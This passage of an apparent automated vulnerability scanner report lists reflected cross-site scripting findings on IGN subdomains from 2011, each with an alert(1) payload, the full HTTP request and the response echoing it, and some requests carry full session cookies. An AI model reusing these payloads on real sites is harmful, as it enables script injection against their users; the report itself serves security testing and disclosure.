The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b53e"><script>alert(1)</script>1a838cec5a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/001/001317.html?5b53e"><script>alert(1)</script>1a838cec5a8=1 HTTP/1.1
Host: pc.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 125559
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=3me5c4qdu4u5;Path=/includes
Set-Cookie: freq=c-1297043723124v-1n-12mc+1297043723124mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1819080517-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:23 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:55:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:55:23 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Need For Spee
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://pc.ign.com/objects/001/001317.html?5b53e"><script>alert(1)</script>1a838cec5a8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.357. http://ps2.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps2.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b334"><script>alert(1)</script>ef0510eb206 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?2b334"><script>alert(1)</script>ef0510eb206=1 HTTP/1.1
Host: ps2.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:55:48 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-1805854276-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:48 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043748310v-1n-12mc+1297043748310mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 135688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sony PlayStation 2
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps2.ign.com/?2b334"><script>alert(1)</script>ef0510eb206=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.358. http://ps2.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps2.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73208"-alert(1)-"d5a196024e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?73208"-alert(1)-"d5a196024e3=1 HTTP/1.1
Host: ps2.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:55:52 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-2067243585-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:55:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043752386v-1n-12mc+1297043752386mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 135620

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Sony PlayStation 2
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps2.ign.com/?73208"-alert(1)-"d5a196024e3=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.359. http://ps3.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb8f4"><script>alert(1)</script>f95cd206ad4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?fb8f4"><script>alert(1)</script>f95cd206ad4=1 HTTP/1.1
Host: ps3.ign.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmb=173446715; __utmc=173446715; rsi_segs=10089; s_pers=%20s_nr%3D1297041144640%7C1299633144640%3B%20s_lv%3D1297041144641%7C1391649144641%3B%20s_lv_s%3DFirst%2520Visit%7C1297042944641%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Axbox360%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//ps3.ign.com/%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:24:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:24:02 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297041089878v-2n-12mc+1297041089878mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 170238

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Sony PlayStation 3
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/?fb8f4"><script>alert(1)</script>f95cd206ad4=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.360. http://ps3.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3aaa6"-alert(1)-"f6cf9c25e10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?3aaa6"-alert(1)-"f6cf9c25e10=1 HTTP/1.1
Host: ps3.ign.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmb=173446715; __utmc=173446715; rsi_segs=10089; s_pers=%20s_nr%3D1297041144640%7C1299633144640%3B%20s_lv%3D1297041144641%7C1391649144641%3B%20s_lv_s%3DFirst%2520Visit%7C1297042944641%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Axbox360%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//ps3.ign.com/%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:24:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:24:04 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297041089878v-2n-12mc+1297041089878mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 170197

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Sony PlayStation 3
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/?3aaa6"-alert(1)-"f6cf9c25e10=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.361. http://ps3.ign.com/articles/114/1144303p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1144303p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32a9e"-alert(1)-"56adb2b626c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1144303p1.html?32a9e"-alert(1)-"56adb2b626c=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24287-444623042-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:17 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043837858v-1n-12mc+1297043837858mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125487

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1144303p1.html?32a9e"-alert(1)-"56adb2b626c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.362. http://ps3.ign.com/articles/114/1144303p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1144303p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adfce"><script>alert(1)</script>e0f357e8c85 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1144303p1.html?adfce"><script>alert(1)</script>e0f357e8c85=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-29294333-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:14 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043834719v-1n-12mc+1297043834719mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1144303p1.html?adfce"><script>alert(1)</script>e0f357e8c85=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.363. http://ps3.ign.com/articles/114/1145224p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1145224p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e205"-alert(1)-"623b1ca8aa9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1145224p1.html?1e205"-alert(1)-"623b1ca8aa9=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1526286681-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043826190v-1n-12mc+1297043826190mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1145224p1.html?1e205"-alert(1)-"623b1ca8aa9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.364. http://ps3.ign.com/articles/114/1145224p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1145224p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e25a4"><script>alert(1)</script>6d77f227b32 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1145224p1.html?e25a4"><script>alert(1)</script>6d77f227b32=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:04 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1381925094-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:04 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043824721v-1n-12mc+1297043824721mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95883

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1145224p1.html?e25a4"><script>alert(1)</script>6d77f227b32=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.365. http://ps3.ign.com/articles/114/1146078p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1146078p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47065"-alert(1)-"55532c305d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146078p1.html?47065"-alert(1)-"55532c305d6=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:16 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:16 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1102200911-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043836638v-1n-12mc+1297043836638mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123184

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
mscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://ps3.ign.com/articles/114/1146078p1.html?47065"-alert(1)-"55532c305d6=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.366. http://ps3.ign.com/articles/114/1146078p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1146078p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e055"><script>alert(1)</script>0959ed8b0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146078p1.html?5e055"><script>alert(1)</script>0959ed8b0d=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1547995194-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043830239v-1n-12mc+1297043830239mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123235

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1146078p1.html?5e055"><script>alert(1)</script>0959ed8b0d=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.367. http://ps3.ign.com/articles/114/1147560p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147560p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80237"><script>alert(1)</script>e1e153548d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147560p1.html?80237"><script>alert(1)</script>e1e153548d6=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:55 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-136887675-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:54 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043814886v-1n-12mc+1297043814886mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 123001

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://ps3.ign.com/articles/114/1147560p1.html?80237"><script>alert(1)</script>e1e153548d6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.368. http://ps3.ign.com/articles/114/1147560p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ps3.ign.com
Path:	/articles/114/1147560p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53b27"-alert(1)-"b64e36bc517 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147560p1.html?53b27"-alert(1)-"b64e36bc517=1 HTTP/1.1
Host: ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:56:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:56:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-637834801-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:56:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043819642v-1n-12mc+1297043819642mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
